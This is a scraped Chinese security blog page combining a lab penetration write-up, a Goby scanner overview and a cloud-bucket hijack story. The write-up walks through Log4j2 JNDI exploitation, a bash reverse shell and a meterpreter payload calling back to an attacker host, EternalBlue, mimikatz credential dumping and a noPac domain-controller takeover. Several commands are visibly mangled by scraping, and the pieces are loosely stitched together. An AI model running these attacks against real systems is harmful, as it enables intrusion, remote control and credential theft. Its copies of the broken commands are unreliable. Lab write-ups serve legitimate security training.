goby内网扫描-goby怎样做全端口扫描

hacker|
219

记一次log4j2引发的渗透测试

记一次log4j2打入内网并用CVE-2021-42287、CVE-2021-42278获取到DC权限的靶场渗透。

首先对web进行端口扫描,发现38080端口和22端口

访问一下38080端口发现是一个error page

用Wappalyzer看一下是什么架构,但是好像没有检测出来

拿着报错去百度上发现应该是springboot

索性用goby再去扫一下,应该是spring没错,但是没有漏洞是什么操作?联想到最近出的log4j2的洞,可能他只是一个日志文件所以并没有框架

使用 payload=${jndi:ldap://p9j8l8.dnslog.cn} 验证一下有回显证明存在漏洞

尝试进一步利用漏洞,首先起一个ldap服务,ip为本地接收shell的ip地址

pre class="7dd1-d1c1-222c-5ebe md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 192.168.1.105/pre

抓包修改 Content-Type: appllication/x-www-form-urlencoded ,并执行以下payload成功回显

pre class="d1c1-222c-5ebe-309f md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"payload=${jndi: ldap://192.168.1.105:1389/TomcatBypass/TomcatEcho }/pre

执行 ls -al / 看一下也成功

nc开启监听端口

然后使用bash命令反弹,这里需要先base64编码然后对编码后的特殊字符进行2层url转码

pre class="222c-5ebe-309f-2e0b md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"bash -i /dev/tcp/192.168.1.105/9999 01/pre

抓包添加 payload=${jndi:ldap:1/192.168.1.105:1389/TomcatBypass/Command/Base64/二层转码之后的字符} ,即可得到反弹shell

进行信息搜集发现为docker环境,这里尝试了docker逃逸失败,那么继续进行信息搜集

在根目录下找到了第一个flag,这里有一个 got this ,在之前端口扫描的时候看到开放了22端口,尝试使用ssh直接连接

使用xshell尝试连接

连接成功,拿到了宿主机的权限

ifconfig查看网卡情况发现还有一张10.0.1.0/24段的网卡

这里方便的话其实可以使用cs上线linux后用cs继续打,这里我就没有上线cs,使用linux的命令对10.0.1.0/24段探测存货主机

pre class="5ebe-309f-2e0b-7738 md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;" for i in 10.0.1.{1..254}; do if ping -c 3 -w 3 i Find the target; fi; done/pre

ping一下是存活的

使用毒液把流量代理出来,首先开启监听

pre class="482c-f672-de4f-cd29 md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"admin.exe -lport 7777/pre

然后上传agent_linux到靶机上

加权并执行

pre class="f672-de4f-cd29-4b72 md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"chmod 777 agent_linux_x86

agent_linux_x86 -rhost 192.168.1.105 -rport 7777/pre

连接成功

这里本来准备用毒液的代理到msf打的,后面觉得比较麻烦,就直接用kali生成的elf马上线msf了

首先生成一个32位的elf马

pre class="de4f-cd29-4b72-52af md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f elf shell.elf/pre

然后加权并执行

pre class="cd29-4b72-52af-666d md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"chmod 777 shell.elf

./shell/pre

kali使用 exploit/multi/handler 进行监听

获取到宿主机的shell

然后添加10.0.1.0/24段的路由

pre class="4b72-52af-666d-61d6 md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"bg

route add 10.0.1.0 255.255.255.0 1

route print/pre

然后配置 proxychain4.conf 文件并使用socks模块

pre class="52af-666d-61d6-3764 md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"search socks

use auxiliary/sevrer/socks_proxy

run/pre

我们在之前已经知道了内网主机的ip,那么这里我们直接使用proxychain配合nmap对10.0.1.7的端口进行扫描

pre class="666d-61d6-3764-dcfa md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"proxychains4 nmap -sT -Pn 10.0.1.7/pre

发现有445端口,那么对445端口进一步扫描

先确定一下系统版本,使用 auxiliary/scanner/smb/smb_version 模块,发现是win7 sp1

看能不能利用永恒之蓝,这里使用到 auxiliary/scanner/smb/smb_ms17_010 模块,发现可以利用永恒之蓝

使用 exploit/windows/smb/ms17_010_eternalbule 模块,因为是不出网环境,这里需要用到 bind_tcp 载荷

run之后拿到一个system权限的meterpreter

在 C:\Users\root\Desktop 下拿到第二个flag

然后继续进行信息搜集,发现同样是双网卡,还存在10.0.0.0/24段的一张网卡

ipconfig /all看到dns服务器为 redteam.lab 应该在域内

这里ping一下 redteam.lab 得到域控的ip为10.0.0.12

这里不知道域控有什么洞,先上传一个mimikatz把密码抓取出来,得到 Administrator/Admin12345 ,这里其实就可以使用域管账户ipc直接连接,但是这里抓到了一个域用户,尝试使用最新的CVE-2021-42287、CVE-2021-42278来进行攻击,关于漏洞的原理请 移步

pre class="61d6-3764-dcfa-6aaa md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"privilege::debug

sekurlsa::logonpasswords/pre

这里我准备使用noPac.exe直接去获取一个shell的,但是这里noPac.exe的利用条件是需要主机上有.net4.0环境,所以这里没有回显

本来准备一步一步的用原始的方法打的,但是powershell用不了没有回显,就写一下原始利用的步骤吧

这里直接使用 sam_the_admin.py 进行攻击

pre class="3764-dcfa-6aaa-7dd1 md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"proxychains python3 sam_the_admin.py "redteam/root:Red12345" -dc-ip 10.0.0.12 -shell/pre

即可拿到DC的shell

在 C:\Users\Administrator\Desktop 下找到最后一个flag

goby入门

Goby 是一款新的网络安全测试工具,由Zwell(Pangolin、JSky、FOFA 作者)打造,它能够针对一个目标企业梳理最全的攻击面信息,同时能进行高效、实战化漏洞扫描,并快速的从一个验证入口点,切换到横向。我们希望能够输出更具生命力的工具,能够对标黑客的实际能力,帮助企业来有效地理解和应对网络攻击

自动探测当前网络空间存活的 IP 及解析域名到 IP,轻量且快速的分析出端口对应的协议、Mac 地址、证书、应用产品、厂商等信息

可以根据情形定制一些常见端口扫描,不仅可以扫IP 还可以扫域名

右上角点开能查看IP矩阵图和网络结构图

结果

开启功能获取更多资产信息

对扫描出来的风险资产进行批量验证,验证成功后,可进行利用,利用成功后,不需要自己搭建服务器,直接进行shell管理

支持自定义PoC及弱口令字典,让安全人员自定义属于自己的武器库,增强攻击力

支持AWVS、FOFA、MSF等插件的使用

goby的使用中如何扫描一个c段ip

1.资产收集

自动探测当前网络空间存活的 IP 及解析域名到 IP,轻量且快速的分析出端口对应的协议、Mac 地址、证书、应用产品、厂商等信息。

子域名扫描

自动爬取子域名,AXFR 监测,二级域名字典爆破,关联域名查询。同时支持连接 FOFA,扩大数据源。

网站截图

通过截图,快速判断网站系统应用,无须再一一打开。

注:该功能基于 Chrome 截图插件实现,需要预安装 Chrome 浏览器。

深度分析

发现非标准端口或非标准应用系统资产,进行深入的应用识别。在实战场景中非常有效。

代理扫描

通过 socket5 代理,快速进入内网,开启内网渗透。

注:支持 Pcap 及 socket 两种模式,请根据不同的场合动态切换。

pcap 模式:支持协议识别和漏洞扫描,不支持端口扫描;

socket 模式:支持端口扫描协议识别以及漏洞扫描,扫描速度慢。

网络安全之一个渗透测试小案例

几天前,收到一个国外目标(公司)的渗透测试任务,时间为两周;

大概看了一下目标是类似于国内阿里云那样提供云服务的平台;

常规信息收集过后,尝试渗透三天无果... 于是下班前只能祭出我的"大杀器"---缝合怪.py。缝合了一些好用的扫描器,一键 XRAY多线程批量扫 + 自动添加任务到AWVS + 自动添加任务到arl + ...加入资产后就下班回家了。

到了第二天一看扫描结果,心里暗道不妙,md坏起来了啊。。。

扫描器里一个洞都没,goby里所有资产显示只开放两个端口80、443。

不慌,问题不大,时间还长,接下来要做的,就是整理思路,重新来过。

在重新整理之前收集到的资产中,发现测试目标的旁站有一个有趣的404页面:

NoSuchBucket + BucketaName

想到了 阿里云 的bucket劫持漏洞,幸福来得太突然了。

使用测试账号登录自己的云平台尝试进行劫持:

1.点击对象存储服务:

2.点击创建桶:

3.桶的名字为BucketName字段:

4.将访问控制权限更改为公共读写:

5.点击对象,创建hack.txt:

6.完成后刷新 为如下 :

发现BucketName字段消失了,原来的NoSuchBucket也变成了NoSuchCustomDomain,说明我们的修改对它造成了影响!

7.NoSuchCustomDomain?那我们就来给他设置一个,点击域名管理尝试绑定域名:

8.访问

9.访问: (hack.txt为我们刚才上传的)

(后期尝试上传图片,html等文件均可)

[图片上传中...(-8136f3-1631536782821-0)]

劫持成功!拿来吧你!

漏洞危害:劫持Bucket,并开放匿名读取功能。可以挂黑页或引用js文件,攻击者可以上传恶意js文件,去盗取用户信息。。。

2021最新整理网络安全\渗透测试/安全学习(全套视频、大厂面经、精品手册、必备工具包)一点我一

0条大神的评论

发表评论